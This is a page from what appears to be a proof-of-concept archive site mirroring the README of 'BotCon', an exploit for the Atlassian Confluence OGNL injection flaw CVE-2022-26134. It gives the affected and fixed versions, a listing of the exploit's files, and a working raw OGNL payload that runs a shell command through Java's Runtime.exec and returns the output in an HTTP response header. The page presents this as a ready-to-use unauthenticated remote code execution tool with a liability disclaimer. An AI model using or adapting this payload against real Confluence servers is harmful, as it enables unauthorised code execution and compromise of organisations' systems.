Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-26134 PoC — Atlassian Confluence Server 注入漏洞

Source
Associated Vulnerability
Title:Atlassian Confluence Server 注入漏洞 (CVE-2022-26134)
Description:Atlassian Confluence Server是澳大利亚Atlassian公司的一套具有企业知识管理功能,并支持用于构建企业WiKi的协同软件的服务器版本。 Atlassian Confluence Server 和 Data Center 存在注入漏洞。攻击者利用该漏洞执行任意代码。以下产品及版本受到影响:1.3.0版本至7.4.17之前版本、7.13.0版本至7.13.7之前版本、7.14.0版本至7.14.3之前版本、7.15.0版本至 7.15.2之前版本、7.16.0版本至7.16.4之
Description
[CVE-2022-26134] Attlasian Confluence RCE
Readme
# BotCon
Attlasian Confluence Un-Authenticated Remote Code Execution via OGNL Injection (CVE-2022-26134)

- On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution vulnerability. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.

## READ THIS !
Use with caution. You are responsible for your actions
Developers assume no liability and are not responsible for any misuse or damage.

![]()![BurpRequest](https://github.com/KeepWannabe/BotCon/blob/main/Screenshot%202022-06-11%20021342.png)

## RAW Payload

```${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}```

## Bug Details

- Affected Product : 
  - Confluence
    - Confluence Server
    - Confluence Data Center

- Affected Versions :
  - All supported versions of Confluence Server and Data Center are affected.
  - Confluence Server and Data Center versions after **1.3.0** are affected.

## Mitigations

- Update your Attlasian Confluence Version to these fixed version :
  - 7.4.17
  - 7.13.7
  - 7.14.3
  - 7.15.2
  - 7.16.4
  - 7.17.4
  - 7.18.1
File Snapshot

[4.0K] /data/pocs/1e650c77d6110ebdd87485dd2a70a01c904252f3 ├── [3.2K] botcon.sh ├── [1.4K] README.md └── [ 27K] Screenshot 2022-06-11 021342.png 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.